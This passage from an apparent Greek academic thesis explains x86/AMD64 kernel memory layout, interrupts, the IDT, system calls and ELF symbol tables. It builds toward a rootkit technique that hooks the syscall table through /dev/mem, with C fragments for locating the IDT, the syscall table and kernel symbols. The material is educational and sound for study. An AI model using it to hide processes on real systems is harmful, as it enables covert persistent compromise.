χρησιμοποιήσιμου ιδεατού χώρου διευθύνσεων. Ο διαχωρισμός φαίνεται στο Σχήμα 10. 38

FFFFFFFF FFFFFFFF +------ -------------- + canonical higher half +------ ------- ------- + FFFF8000 00000000 Noncanonical addresses 00007FFF FFFFFFFF +------ ------- ------- + canonical lower half +------ -------------- + 00000000 00000000 Σχήμα 9. Υλοποίηση 48-bit διευθύνσεων σε canonical form της αρχιτεκτονικής AMD64 Αυτό επιτρέπει ένα σημαντικό χαρακτηριστικό για επιπλέον ανάπτυξη σε πραγματική διευθυνσιοδότηση 64bit. Πολλά λειτουργικά συστήματα χρησιμοποιούν τα υψηλά bits για τις διευθύνσεις του πυρήνα, και αφήνουν τα χαμηλότερα για τον κώδικα των εφαρμογών, τις στοίβες της κατάστασης χρήστη, το heap κτλ. Το χαρακτηριστικό των "canonical address" διαβεβαιώνει ότι οποιαδήποτε παρόμοια αρχιτεκτονική, έχει στην πραγματικότητα διευθύνσεις οι οποίες χωρίζονται στα δύο: το χαμηλότερο ξεκινάει από την διεύθυνση 00000000.00000000 και ανεβαίνει όσο περισσότερα bits εικονικών διευθύνσεων τίθενται σε λογαριασμό του χρήστη, ενώ το υψηλότερο μισό παραμένει στην 39

κορυφή του χώρου διευθύνσεων και κατεβαίνει σταδιακά. Η τοποθέτηση των μη χρησιμοποιούμενων bit σε σταθερό σημείο αποτρέπει την χρησιμοποίηση αυτών σαν σημαίες (flags), δείκτες προνομίων (privilege markers) κα., πράγμα το οποίο θα μπορούσε να αποδειχθεί προβληματικό όταν η αρχιτεκτονική θα επεκταθεί σε 52, 56, 60 και 64 bits [15]-[16]. FFFFFFFF FFFFFFFF +------ -------------- + canonical higher half +------ ------- ------- + FF800000 00000000 Noncanonical addresses 007FFFFF FFFFFFFF +------ ------- ------- + canonical lower half +------ -------------- + 00000000 00000000 FFFFFFFF FFFFFFFF +------ -------------- + higher half +------ ------- ------- + lower half +------ -------------- + 00000000 00000000 Σχήμα 10. Διαχωρισμός των χώρων διευθύνσεων για υλοποίηση 56 και 64bit αντίστοιχα της amd64 Αντίθετα η αρχιτεκτονική ΙΑ64 παρέχει ένα πλήρες virtual address space των 64-40

bit. Όπως φαίνεται και στο Σχήμα 10, ο χώρος διευθύνσεων χωρίζεται σε 8 περιοχές ίσου μεγέθους. Κάθε περιοχή καλύπτει 2048 Pbytes. Οι περιοχές αριθμούνται 0 έως 7. Δεν υπάρχουν κάποιες συγκεκριμένες οδηγίες για το πώς μπορούν να χρησιμοποιηθούν αυτές οι περιοχές μνήμης, ωστόσο οι περιοχές 0 έως 4 χρησιμοποιούνται συνήθως σαν περιοχές χρήστη και οι περιοχές 5 έως 7 σαν περιοχές πυρήνα. Σχήμα 11. Μετάφραση μνήμης σε ΙΑ64 [11] Ο τρόπος που μεταφράζουμε τις διευθύνσεις από φυσικές σε virtual και το αντίστροφο, διατηρεί την ίδια βασική αρχή. Η περιοχή που θέλουμε αθροισμένη με την διεύθυνση της αρχής του πυρήνα στο virtual address space. Αυτός ο αριθμός όμως αλλάζει. Η αρχιτεκτονική IA-64 υποστηρίζει πολλά μεγέθη για τις σελίδες (virtual pages) όπως 4, 8, 16, ή 64 Kbyte. Στην παρούσα εργασία όπως προαναφέραμε θα ασχοληθούμε μόνο με την αρχιτεκτονική AMD64. Οπότε το KERNEL_START θα έχει την τιμή 0xFFFFFFFF80000000. Επίσης το PAGE_OFFSET θα έχει ως αναμενόμενο διαφορετική τιμή από το KERNEL_START. 41

Σχήμα 12. Διαχωρισμός μνήμης πυρήνα-χρήστη αρχιτεκτονική ΙΑ64 [11] 42

8 Διακοπές και εξαιρέσεις Interrupts and exceptions Τα σήματα διακοπών παρέχουν ένα τρόπο για τον επεξεργαστή να "ξεφύγει" από την κανονική λειτουργία εκτέλεσης. Όταν ένα σήμα καταφθάσει, η ΚΜΕ πρέπει να σταματήσει την τρέχουσα επεξεργασία και να κάνει εναλλαγή στην καινούργια διεργασία. Αυτό γίνεται αποθηκεύοντας την τρέχουσα τιμή του program counter (για παράδειγμα τις τιμές των καταχωρητών eip και cs) στην στοίβα του πυρήνα και τοποθετώντας μία διεύθυνση σχετική με τον τύπο της διακοπής στον program counter. Η Intel κατηγοριοποιεί τις διακοπές και τις εξαιρέσεις ως εξής, i. Διακοπές Maskable interrupts Όλες οι αιτήσεις διακοπής που παράγονται από συσκευές εισόδου/εξόδου δημιουργούν maskable interrupts. Μία τέτοια διακοπή μπορεί να είναι σε δύο καταστάσεις masked ή unmasked. Στην πρώτη περίπτωση η διακοπή αγνοείται από τον επεξεργαστή για όσο παραμένει masked. Nonmaskable interrupts Μόνο μερικά κρίσιμα γεγονότα, όπως βλάβες στο υλικό, δημιουργούν nonmaskable διακοπές. Αυτή η κατηγορία διακοπών σε καμία περίπτωση δεν αγνοείται από τον επεξεργαστή. 43

ii. Εξαιρέσεις Processor-detected exceptions Παράγονται μόλις η ΚΜΕ εντοπίσει μία ανώμαλη κατάσταση κατά την διάρκεια εκτέλεσης μιας εντολής. Αυτές διαιρούνται περαιτέρω σε 3 κατηγορίες, ανάλογα με την τιμή του καταχωρητή eip η οποία έχει αποθηκευτεί στην στοίβα πυρήνα την στιγμή που η μονάδα ελέγχου "υψώνει" την εξαίρεση. Faults Γενικά είναι καταστάσεις που μπορούν να ξεπεραστούν και έπειτα το πρόγραμμα συνεχίζει την λειτουργία του χωρίς καθόλου απώλεια. Η τιμή του eip που αποθηκεύεται είναι η διεύθυνση της εντολής που προκάλεσε το fault, και έτσι αυτή η εντολή μπορεί να έχει πάλι τον επεξεργαστή μετά το τέλος της εκτέλεσης του διαχειριστή εξαίρεσης. Traps Δηλώνονται αμέσως μετά την εκτέλεση της εντολής που προκάλεσε το trap. Αφού ο πυρήνας επιστρέψει τον έλεγχο στο πρόγραμμα, του επιτρέπεται να συνεχίσει την λειτουργία του χωρίς απώλειες συνέχειας. Η τιμή του eip είναι η διεύθυνση της εντολής που θα πρέπει να εκτελεστεί μετά από αυτήν που προκάλεσε τo trap. Προκαλείται συνήθως όταν δεν υπάρχει ανάγκη επανεκτέλεσης της εντολής που μόλις τέλειωσε. Ο κύριος ρόλος αυτού του είδους εξαιρέσεων είναι για τους σκοπούς της αποσφαλμάτωσης (debugging). Ο κύριος λόγος ύπαρξης της εξαίρεσης σε αυτή την περίπτωση είναι να ειδοποιήσει τον debugger ότι η συγκεκριμένη εντολή έχει εκτελεστεί (για παράδειγμα, έχουν φτάσει στο σημείο ενός breakpoint μέσα σε ένα πρόγραμμα). 44

Aborts Σημαίνουν την εμφάνιση ενός σοβαρού λάθους. Η μονάδα ελέγχου έχει κάποιο πρόβλημα και ίσως να μην μπορέσει να αποθηκεύσει στον eip την ακριβή τοποθεσία της εντολής που προκάλεσε την εξαίρεση. Χρησιμοποιούνται για να αναφέρουν σοβαρά λάθη όπως είναι βλάβες υλικού και άκυρες ή μη συνεπείς τιμές στους πίνακες του συστήματος. Το σήμα που στέλνεται από την μονάδα ελέγχου είναι ένα σήμα κινδύνου και χρησιμοποιείται για την εναλλαγή του ελέγχου στον αντίστοιχο διαχειριστή εξαίρεσης. Programmed exceptions Εμφανίζονται έπειτα από αίτησή τους από τον προγραμματιστή. Προκαλούνται από τις εντολές int και int3. Οι εντολές into (έλεγχος υπερχείλισης) και bound (έλεγχος ορίων διεύθυνσης) προκαλούν επίσης προγραμματιζόμενη εξαίρεση όταν οι συνθήκες τις οποίες ελέγχουν είναι ψευδής. Η μονάδα ελέγχου χειρίζεται τις προγραμματιζόμενες συνθήκες σαν trap. Αποκαλούνται επίσης και διακοπές λογισμικού. Αυτές οι εξαιρέσεις έχουν συνήθως δύο χρήσεις: να υλοποιούν κλήσεις συστήματος και να ειδοποιούν κάποιον debugger περί ενός συγκεκριμένου γεγονότος. Κάθε διακοπή ή εξαίρεση αναγνωρίζεται από έναν αριθμό από 0 έως 255, η Intel αποκαλεί αυτό τον αριθμό των 8 bit, διάνυσμα (vector). Τα διανύσματα των nonmaskable διακοπών και εξαιρέσεων είναι προκαθορισμένα ενώ αυτά των maskable διακοπών μπορούν να τροποποιηθούν προγραμματίζοντας τον ελεγκτή διακοπών Interrupt Controller. 45

Τα διανύσματα κατηγοριοποιούνται ως εξής, 0 μέχρι 31 : εξαιρέσεις και non-maskable διακοπές 32 μέχρι 47 : maskable διακοπές 48 μέχρι 255 : διακοπές λογισμικού Το Linux χρησιμοποιεί μόνο μία διακοπή λογισμικού (0x80) η οποία και χρησιμοποιείται για να κληθούν μέθοδοι του πυρήνα. 46

9 Πίνακας διακοπών Interrupt descriptor table Ένας πίνακας συστήματος που ονομάζεται Interrupt Descriptor Table (IDT) συνδέει κάθε διάνυσμα διακοπής ή εξαίρεσης με την αντίστοιχη διεύθυνση του διαχειριστή διακοπής ή εξαίρεσης. Ο IDT πρέπει να αρχικοποιηθεί πριν ο πυρήνας ενεργοποιήσει τις διακοπές. Η αρχικοποίηση στο Linux γίνεται κατά την διαδικασία εκκίνησης (bootstrap). Κάθε εγγραφή του IDT αντιστοιχεί σε ένα διάνυσμα διακοπής ή εξαίρεσης και περιέχει έναν 8-byte descriptor σε compatibility mode ενώ έναν 16-byte descriptor σε 64-bit mode. Επομένως, το μέγιστο των 256 x 8 = 2048 bytes απαιτούνται για την αποθήκευση του IDT στην πρώτη και 256 x 16 = 4096 byte στην δεύτερη περίπτωση. Υπάρχουν 3 είδη εγγραφών στον πίνακα: Task gate descriptor, Interrupt gate και Trap gate. Task gate Περιέχει το TSS selector της διεργασίας που πρέπει να αντικαταστήσει την τρέχουσα διεργασία όταν συμβαίνει ένα σήμα διακοπής. Interrupt gate Περιέχει το Segment Selector και την μετατόπιση μέσα στο segment ενός handler διακοπής ή εξαίρεσης. Καθώς μεταφέρεται ο έλεγχος στο κατάλληλο segment, ο επεξεργαστής θέτει το IF = 0 προκειμένου να απενεργοποιήσει περεταίρω maskable interrupts. Trap gate 47

Παρόμοια με την interrupt gate, με την διαφορά ότι ενώ ο έλεγχος μεταφέρεται στο κατάλληλο segment, ο επεξεργαστής δεν αλλάζει το IF flag. Task Gate Descriptor 63 48 47 40 39 32 +------------------------------------------------------------ D D RESERVED P P P 0 0 1 0 1 RESERVED L L ============================================================= SEGMENT SELECTOR RESERVED ------------------------------------------------------------+ 31 16 15 0 Interrupt Gate Descriptor 63 48 47 40 39 32 +------------------------------------------------------------ D D HANDLER OFFSET (16-31) P P P 0 1 1 1 0 0 0 0 RESERVED L L ============================================================= SEGMENT SELECTOR HANDLER OFFSET (0-15) ------------------------------------------------------------+ 31 16 15 0 Trap Gate Descriptor 63 48 47 40 39 32 +------------------------------------------------------------ D D HANDLER OFFSET (16-31) P P P 0 1 1 1 1 0 0 0 RESERVED L L ============================================================= SEGMENT SELECTOR HANDLER OFFSET (0-15) ------------------------------------------------------------+ 31 16 15 0 Σχήμα 13. Εγγραφές πίνακα διακοπών x86 48

64-bit mode Descriptor 31 0 +--------------------------------------------------------------------+ +12 Reserved, IGN +--------------------------------------------------------------------+ +8 Offset 63:32 +--------------------------------+-----------------------------------+ +4 Offset 31:16 P DPL Type Reserved,IGN IST +--------------------------------+-----------------------------------+ +0 Target Segment Selector Offset 15:00 +--------------------------------+-----------------------------------+ Σχήμα 14. Εγγραφή IDT σε αρχιτεκτονική x86_64 Ο καταχωρητής idtr επιτρέπει την αποθήκευση του IDT οπουδήποτε στην μνήμη. Προσδιορίζει την βάση (linear address) και το όριο (μέγεθος πίνακα σε byte). Πρέπει να αρχικοποιηθεί πριν την ενεργοποίηση των διακοπών με την χρήση της εντολής assembly lidt. Ενώ μπορεί να ανακτηθεί με την εντολή sidt. Εντολή LIDT operand SIDT operand Περιγραφή Load operand into IDTR Store IDTR to operand Πίνακας 5. Εντολές αποθήκευσης και ανάκτησης στον πίνακα διακοπών Τα πρώτα 2 byte που φορτώνονται στον καταχωρητή είναι πάντα ένα όριο 16- bit. Ενώ τα υπόλοιπα εξαρτώνται από την κατάσταση λειτουργίας του επεξεργαστή και είναι 4 bytes για 16-bit και 32-bit, και 8 για 64-bit. Τα περιεχόμενα του IDTR αποθηκεύονται στην θέση μνήμης που δείχνει το operand. Ισχύει και εδώ ότι και για την εντολή φόρτωσης. Τα 2 πρώτα byte (low bytes) θα περιέχουν το όριο, ενώ για την βάση ισχύουν τα εξής: Για 32-bit 49

συστήματα έχουμε βάση 4 byte και 8 για 64-bit. Οι παραπάνω εντολές μπορούν εύκολα να χρησιμοποιηθούν στο πρόγραμμά μας με την βοήθεια της Inline Assembly. Μπορούν να κληθούν μάλιστα οποιαδήποτε στιγμή από το userland. Επίσης, μόνο η εντολή sidt είναι ικανή να αποκαλύψει την ύπαρξη ενός virtualized rootkit [4]. 50

10 Κλήσεις συστήματος System Calls Όπως προαναφέρθηκε μία διακοπή χρησιμοποιείται για την κλήση μεθόδων του συστήματος. Η διακοπή 0x80. Η διαδικασία για την εκτέλεση μία κλήσης συστήματος έχει ως εξής, 1. Η διεύθυνση της μεθόδου της κλήσης συστήματος τοποθετείται στον EAX. 2. Οι παράμετροι της κλήσης τοποθετούνται σε καταχωρητές. 3. Εκτελείται η εντολή int 0x80. 4. Ο επεξεργαστής μεταφέρεται σε κατάσταση πυρήνα. 5. Εκτελείται η μέθοδος της κλήσης συστήματος Μία συγκεκριμένη τιμή συνδέεται με κάθε μία κλήση συστήματος. Αυτή η τιμή πρέπει να τοποθετηθεί στον EAX. Κάθε κλήση συστήματος μπορεί να έχει το μέγιστο 6 παραμέτρους οι οποίες τοποθετούνται στους αντίστοιχους καταχωρητές EBX, ECX, EDX, ESI, EDI, και EPB. Εάν περισσότερες από έξι παράμετροι πρέπει να χρησιμοποιηθούν οι παράμετροι περνούν στην μέθοδο με την βοήθεια μίας δομής δεδομένων στην πρώτη παράμετρο. Μας είναι πολύ σημαντικό να ξέρουμε πού υπάρχει κάθε παράμετρος μετά από μια κλήση συστήματος. Γενικά οι παράμετροι για οποιαδήποτε απλή μέθοδο ξέρουμε πως περνιούνται μέσω της στοίβας. Έτσι για μια μέθοδο όπως foo(int a, int b, int c), οι παράμετροι θα περάσουν σε αυτή με διαδοχικές εντολές push. Στην συνέχεια η foo θα βρει τις παραμέτρους στην στοίβα ανάλογα με την θέση τους κατά την κλήση. Οι κλήσεις συστήματος δεν διαφέρουν από τις υπόλοιπες 51

μεθόδους, έχουν όμως μια ιδιομορφία. Ξέρουμε πως η στοίβα του χρήστη είναι διαφορετική από αυτήν του πυρήνα. Επίσης ξέρουμε πως οι κλήσεις συστήματος είναι μέθοδοι του πυρήνα και πρέπει να τρέξουν για λογαριασμό αυτού. Παράλληλα όμως καλούνται από τις διεργασίες χρήστη, και παίρνουν τις τιμές των παραμέτρων τους από αυτές. Στην αρχιτεκτονική x86 είναι αδύνατο να αντιγράψουμε τα περιεχόμενα μιας θέσης της στοίβας σε μία άλλη στοίβα (πιο συγκεκριμένα από μία περιοχή μνήμης σε μία άλλη) χωρίς την χρήση καταχωρητών. Επομένως προκειμένου να γλυτώσουμε ταχύτητα όταν επιτελείται μία κλήση συστήματος όλες οι παράμετροι αντιγράφονται σε αντίστιχους καταχωρητές και έπειτα ο πυρήνας τις αντιγράφει στην στοίβα καθώς όπως προείπαμε οι κλήσεις συστήματος είναι κανονικές μέθοδοι. 52

11 Απόκρυψη διεργασιών και φακέλων με την βοήθεια των διακοπών Η ιδέα της απόκρυψης διεργασιών, φακέλων και άλλων στοιχείων ενός λειτουργικού συστήματος με τη βοήθεια των διακοπών είναι αρκετά παλιά. Ο Silvio Cesare την γνωστοποίησε για πρώτη φορά 1998, και έκτοτε έχει υλοποιηθεί με διάφορους τρόπους. Στην αρχική και πιο απλή εκδοχή της η τεχνική αυτή ήταν ουσιαστικά ένα kernel module το οποίο όταν φορτωνόταν άλλαζε την διεύθυνση μιας εκ των ρουτινών εξυπηρέτησης διακοπών (interrupt handlers) του πίνακα κλήσεων συστήματος (syscall table) ώστε να δείχνει σε μία διαφορετική ρουτίνα. Αφού αντικατασταθεί η διεύθυνση αυτού (μία διαδικασία που λέγεται hooking) γίνεται η συγκεκριμένη κλήση συστήματος ώστε να εκτελεστεί ο κώδικάς της καινούργιας ρουτίνας με όλα τα προνόμια μιας διεργασίας πυρήνα. Αφού ολοκληρωθούν όλες οι εργασίες ο πίνακας κλήσεων πρέπει φυσικά να γυρίσει στην αρχική του κατάσταση, για να αποφευχθούν καταστάσεις αστάθειας. Επιπλέον, για τον ίδιο λόγο, η κλήση συστήματος που θα επιλεγεί να αντικατασταθεί θα πρέπει να είναι μία όχι και τόσο συχνά χρησιμοποιούμενη. Το hooking, στην περίπτωση ενός kernel module, ήταν εύκολο επειδή ο πυρήνας εξήγαγε σαν σύμβολο την διεύθυνση του πίνακα syscall, ο οποίος ήταν προσβάσιμος από οποιοδήποτε module πυρήνα, ενώ η αντίστοιχη κλήση συστήματος ήταν απλά μια εγγραφή του. Η αλλαγή μπορούσε να γίνει για 53

παράδειγμα ως εξής, _memcpy( sys_call_table[syscall_nr], new_syscall_code, sizeof(syscall_code) ); Σύντομα, το σύμβολο sys_call_table σταμάτησε να εξάγεται από τον πυρήνα οπότε νέες παραλλαγές της τεχνικής άρχισαν να βγαίνουν στην επιφάνεια, στις οποίες μάλιστα δεν χρειαζόταν καν η δημιουργία ενός module. Ο πίνακας κλήσεων συστήματος αυτή τη φορά εξαγόταν έπειτα από 'σκανάρισμα' της μνήμης. Στο Linux η μνήμη πυρήνα ήταν προσβάσιμη μέχρι και πριν λίγο καιρό μέσω του ειδικού αρχείου /dev/kmem. Αποφασίστηκε όμως ότι η εγγραφή σε αυτό το αρχείο είναι περιττή και απαγορεύτηκε. Αντίθετα, η πρόσβαση στο αρχείο /dev/mem δεν είναι καθόλου περιττή, αφού αρκετοί driver το χρησιμοποιούν για την λειτουργία τους. Αυτήν η εκδοχή θα εξεταστεί και στο παρόν κείμενο. Η πρόσβαση είναι απλή, με την προϋπόθεση ότι η διεργασία έχει δικαιώματα υπερχρήστη. Αρχικά, ανοίγουμε το αρχείο για ανάγνωση και εγγραφή, και στην συνέχεια το κάνουμε mmap στην διεργασία μας. fd = open ("/dev/mem", O_RDWR)); ptr = mmap (0, sizeof_kernelimage, PROT_READ, MAP_SHARED, fd, 0); Μ'αυτό τον τρόπο, η περιοχή όπου έχει φορτωθεί ο πυρήνας 'χαρτογραφείται' στο virtual address space του προγράμματός μας και είναι προσβάσιμη από αυτό. Η επόμενη εργασία μας έχει να κάνει με την εύρεση του IDT μέσα σε αυτή την περιοχή μνήμης. Έχουμε ήδη αναφέρει ότι η διεύθυνση που έχει φορτωθεί ο πίνακας διακοπών μπορεί να ανακτηθεί με μία εντολή assembly. Στο πρόγραμμά μας, αυτό γίνεται με την βοήθεια Inline assembly, 54

asm ("sidt %0":"=m" (idtr32)); Η Inline assembly μας βοηθάει να εκτελούμε εντολές assembly μέσα από το πρόγραμμά μας σε γλώσσα C. Στην παραπάνω περίπτωση %0 είναι η τιμή εξόδου στην οποία και τοποθετούμε στην μεταβλητή idtr32. Η τελευταία έχουμε επιλέξει να είναι ένα struct το οποίο και θα 'ταιριάζει' με αυτό που επιστέφει η εντολή sidt σε σύστημα 32-bit. struct { unsigned short limit; unsigned int base; } attribute ((packed)) idtr32; K 8. Το αντικείμενο idtr32 Με το attribute ((packed)) ο GCC πληροφορείται πως χρειαζόμαστε το λιγότερο δυνατό alignment μεταξύ των μεταβλητών στο struct μας. Έχοντας πλέον την διεύθυνση που ξεκινά ο IDT στην μνήμη (base) καθώς και το μέγεθός του (limit), μπορούμε πλέον να βρούμε την εγγραφή 0x80, κλήση συστήματος. sys_call_func = (*(short *) (ptr + (idtr32.base & 0x00ffffff) + (8 * 0x80) + 6) << 16) *(short *) (ptr + (idtr32.base & 0x00ffffff) + (8 * 0x80) + 0); K 9. H 128 η εγγραφή του IDT Από την εγγραφή αυτή του πίνακα διακοπών βρήκαμε την διεύθυνση του handler της κλήσης συστήματος. Αυτό που εμείς θέλουμε είναι να βρούμε το 55

πίνακα κλήσεων συστήματος μέσα στη μνήμη. Αν κοιτάξουμε μέσω ενός debugger τον κώδικα του handler για την κλήση συστήματος παρατηρούμε το εξής αυτό που παρουσιάζεται το K 10. Dump of assembler code for function system_call: 0xc0104f30 <system_call+0>: push %eax 0xc0104f31 <system_call+1>: cld 0xc0104f32 <system_call+2>: push %fs 0xc0104f34 <system_call+4>: push %es 0xc0104f35 <system_call+5>: push %ds 0xc0104f36 <system_call+6>: push %eax 0xc0104f37 <system_call+7>: push %ebp 0xc0104f38 <system_call+8>: push %edi 0xc0104f39 <system_call+9>: push %esi 0xc0104f3a <system_call+10>: push %edx 0xc0104f3b <system_call+11>: push %ecx 0xc0104f3c <system_call+12>: push %ebx 0xc0104f3d <system_call+13>: mov $0x7b,%edx 0xc0104f42 <system_call+18>: movl %edx,%ds 0xc0104f44 <system_call+20>: movl %edx,%es 0xc0104f46 <system_call+22>: mov $0xd8,%edx 0xc0104f4b <system_call+27>: movl %edx,%fs 0xc0104f4d <system_call+29>: mov $0xffffe000,%ebp 0xc0104f52 <system_call+34>: and %esp,%ebp 0xc0104f54 <system_call+36>: testw $0xe1,0x8(%ebp) 0xc0104f5a <system_call+42>: jne 0xc0105080 <syscall_trace_entry> 0xc0104f60 <system_call+48>: cmp $0x145,%eax 0xc0104f65 <system_call+53>: jae 0xc0105107 <syscall_badsys> 0xc0104f6b <system_call+59>: call *0xc04094e0(,%eax,4) <----- 0xc0104f72 <system_call+66>: mov %eax,0x18(%esp) K 10. Έξοδος gdb της μεθόδου system_call 56

Στο σημείο system_call+59 καλείται από τον πίνακα syscall η αντίστοιχη κλήση συστήματος. Επομένως με μία σάρωση της μνήμης λίγο μετά την αρχή του κώδικα του παραπάνω handler στην μνήμη βρίσκεται η διεύθυνση του πίνακα syscall. Το opcode για την παραπάνω εντολή έχει ως εξής, c0104f6b: ff 14 85 e0 94 40 c0 call *-0x3fbf6b20(,%eax,4) Δηλαδή, opcode = 0xff 0x14 0x85 0x<address_of_table> Επειδή αυτό δεν αλλάζει από την μία έκδοση πυρήνα στην άλλη είναι σχετικά ασφαλές να ψάξουμε σειριακά στην μνήμη ένα μοτίβο όπως το εξής, memmem((mregion+(sys_call_func & 0x00ffffff)),500,"\xff\x14\x85",3); sys_call_table = *(int *)(p+3); K 11. Υπογραφή της κλήσης του πίνακα syscall Η memmem() είναι μία μέθοδος της STL βιβλιοθήκης (<string.h>) που μας βοηθάει να ψάξουμε ένα string σε μία περιοχή μνήμης. Η υπογραφή αυτής της μεθόδου μπορεί να διαφέρει, γι'αυτό πρέπει να χρησιμοποιείται με προσοχή προκειμένου να υπάρχει συμβατότητα. Έχοντας την διεύθυνση του πίνακα κλήσεων συστήματος είμαστε έτοιμοι να αλλάξουμε οποιαδήποτε εγγραφή του γράφοντας στο αρχείο /dev/mem. Αυτό που χρειαζόμαστε τώρα είναι χώρος στην περιοχή του πυρήνα όπου θα μπουν οι μέθοδοι που θα αντικαταστήσουν τις αντίστοιχες μεθόδους του πυρήνα. Η μέθοδος kmalloc μπορεί να κάνει αυτήν ακριβώς τη δουλειά για μας. Μόνο που σε κατάσταση user mode είναι αδύνατο να κληθεί. Δε συμβαίνει όμως το ίδιο αν την 57

καλούσε κάποια μέθοδος του πυρήνα, όπως στην περίπτωση του κώδικα του handler μίας κλήσης συστήματος. Έχοντας τις διευθύνσεις των handler των κλήσεων συστήματος, αυτό που χρειαζόμαστε τώρα είναι η διεύθυνση της μεθόδου kmalloc για την δημιουργία χώρου στην περιοχή του πυρήνα. Για να βρούμε την διεύθυνση αυτής της μεθόδου ακολουθούμε μία παρόμοια μέθοδο όπως αυτήν για την εύρεση του πίνακα κλήσεων συστήματος. Η ανάπτυξη της θα παρουσιαστεί αργότερα. Βασίζεται σε ένα χαρακτηριστικό που διευκολύνει το debuging του πυρήνα, τον πίνακα συμβόλων στην μνήμη (symbol table). Υπάρχει επίσης ένα αρχείο στο σύστημα το οποίο περιέχει όλες τις εξαγόμενες διευθύνσεις των μεθόδων του πυρήνα. Το αρχείο αυτό ονομάζεται System.map. Η παρουσία του όμως δεν είναι κάτι απαραίτητο επομένως δε μπορούμε να βασιστούμε σε αυτό παρά μόνο για τον έλεγχο των σωστών αποτελεσμάτων κατά την διάρκεια των πειραμάτων μας. 58

12 Τα αρχεία ELF Τα αρχεία Executable and Linking Format (ELF) είναι αρχεία binary τα οποία αναπτύχθηκαν από την USL (UNIX System Laboratories) και υιοθετηθήκαν από το Linux το 1995. Λόγω της ελαστικότητας στο format τους, που επιτρέπει στα αρχεία αυτά να χρησιμοποιούνται από διαφορετικές αρχιτεκτονικές, γρήγορα αντικατέστησαν τα παραδοσιακά a.out αρχεία του Linux. Υπάρχου 3 είδη αρχείων ELF: relocatable, executable, και shared. Τα relocatable αρχεία δημιουργούνται από τoυς compilers και τους assemblers αλλά χρειάζονται την επεξεργασία ενός linker πριν να εκτελεστούν. Τα εκτελέσιμα (executable) αρχεία χρειάζονται πολύ λίγες ενέργειες για την εκτέλεση τους, όπως ίσως την σύνδεση με κώδικα κάποιων βιβλιοθηκών για κάποια από τα σύμβολά τους (shared library symbols). Τα shared objects είναι βιβλιοθήκες που περιέχουν τόσο πληροφορίες για σύμβολα όσο και απευθείας εκτελέσιμο κώδικα. Ο πυρήνας στο Linux είναι ένα αρχείο ELF. bash-3.1$ file linux-2.6.23.1/vmlinux linux-2.6.23.1/vmlinux: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped Τα αρχεία ELF θα έλεγε κανείς πως έχουν δύο όψεις. Από τους μεταγλωττιστές, τους assemblers και τους linkers αντιμετωπίζονται σαν μια ομάδα από λογικά τμήματα (sections) που περιγράφονται από έναν πίνακα (section header table), ενώ ο loader του συστήματος τα αντιμετωπίζει σαν μία ομάδα από τμήματα που περιγράφονται από τον πίνακα program header. 59

Τα relocatable αρχεία ELF έχουν πίνακες τμημάτων (sections), τα εκτελέσιμα πίνακες κεφαλίδων προγράμματος (program header), και τα shared objects έχουν και τα δύο. Τα τμήματα 'sections' προορίζονται για επεξεργασία από τον linker, ενώ τα τμήματα 'segments' προορίζονται για χαρτογράφηση στην μνήμη (map). Sections ενός αρχείου ELF είναι τα παρακάτω,.text.data.rodata.bss.rel.text,.rel.data και.rel.rodata.init και.fini.symtab και.dynsym.strtab και.dynstr.line.comment LINKING VIEW +------ -------------- + ELF HEADER +------ ------- ------- + Program header table optional +------ ------- ------- + Section 1 +------ ------- ------- +... +------ ------- ------- + Section n +------ ------- ------- +... +------ ------- ------- +... +------ ------- ------- + Section header table +------ ------- ------- + EXECUTION VIEW +------ -------------- + ELF HEADER +------ ------- ------- + Program header table +------ ------- ------- + Segment 1 +------ ------- ------- + Segment 2 +------ ------- ------- +... +------ ------- ------- + Section header table optional +------ ------- ------- + Σχήμα 15. Μορφή ενός αρχείου ELF [17]-[18] 60

Ενδιαφέρον για εμάς παρουσιάζουν τα τμήματα.symtab και.strtab. Το.strtab περιέχει έναν πίνακα από string χωρισμένα με τον κενό χαρακτήρα null. Ενώ το.symtab περιέχει πληροφορίες για την αντιστοίχηση των διευθύνσεων των προαναφερθέντων string με διευθύνσεις μεθόδων. Οι εγγραφές του.symtab έχουν την μορφή που φαίνεται στο K 12. typedef struct { Elf32_Word Elf32_Addr st_name; st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Half } Elf32_Sym; st_shndx; K 12. Εγγραφή του πίνακα.symtab Όπου οι τύποι δεδομένων Elf32_Word, Elf32_Addr έχουν μέγεθος 4 byte και ο τύπος Elf32_Half, 2 byte. 12.1 Εκτελέσιμα Αρχεία ELF Σε ένα εκτελέσιμο ELF (executable ELF) αρχείο τα δεδομένα είναι έτσι διαμορφωμένα ώστε να μπορούν να φορτωθούν σχεδόν αμέσως στην μνήμη και να τρέξουν. Το αρχείο περιέχει μία κεφαλίδα 'program header' που ακολουθεί αμέσως μετά την καθολική κεφαλίδα του ELF. Το program header καθορίζει τα τμήματα (segments) που θα τοποθετηθούν στην μνήμη. Ένα εκτελέσιμο έχει 61

segments όπως ανάγνωσης (read-only) για τον κώδικα και αντίστοιχα για τα δεδομένα και εγγραφής/ανάγνωσης (read-write) για εγγραφή και ανάγνωση δεδομένων. Όλα τα sections που μπορούν να φορτωθούν είναι πακεταρισμένα στα αντίστοιχα segments ώστε το σύστημα να μπορεί να χαρτογραφήσει το αρχείο στη μνήμη με λίγες εργασίες. Αυτό που για εμάς έχει περισσότερο ενδιαφέρον είναι ο τρόπος που χαρτογραφείται στην μνήμη το τμήμα που περιέχει τα σύμβολα. Εμείς θα χρησιμοποιήσουμε την εικόνα αυτή στην μνήμη για να ψάξουμε τις διευθύνσεις των μεθόδων των αντίστοιχων συμβόλων. Για να αποκτήσουμε μια ιδέα της εικόνας αυτής χρησιμοποιούμε ένα απλό πρόγραμμα γραμμένο σε C. Αρχικά το πρόγραμμά μας ψάχνει για το string μιας μεθόδου που επιλέξαμε να είναι κάποια από τις πρώτες εγγραφές του πίνακα συμβόλων, η init_task. Χρησιμοποιούμε πάντα το αρχείο /dev/mem για απευθείας ανάγνωση της μνήμης του συστήματος το οποίο έχουμε κάνει mmap στην διεργασία μας στην περιοχή που ξεκινάει από τον δείκτη mregion (K 13). unsigned long kstrtab; char srch[] = "\0init_task"; for (x = 0; x < 20 * 1024 * 1024; x++) { if (memcmp ((unsigned char *) (mregion + x), srch, strlen ("init_task") + 2) == 0) { kstrtab = kernelstart + x + 1; break; } } K 13. Αναζήτηση συμβόλου 62

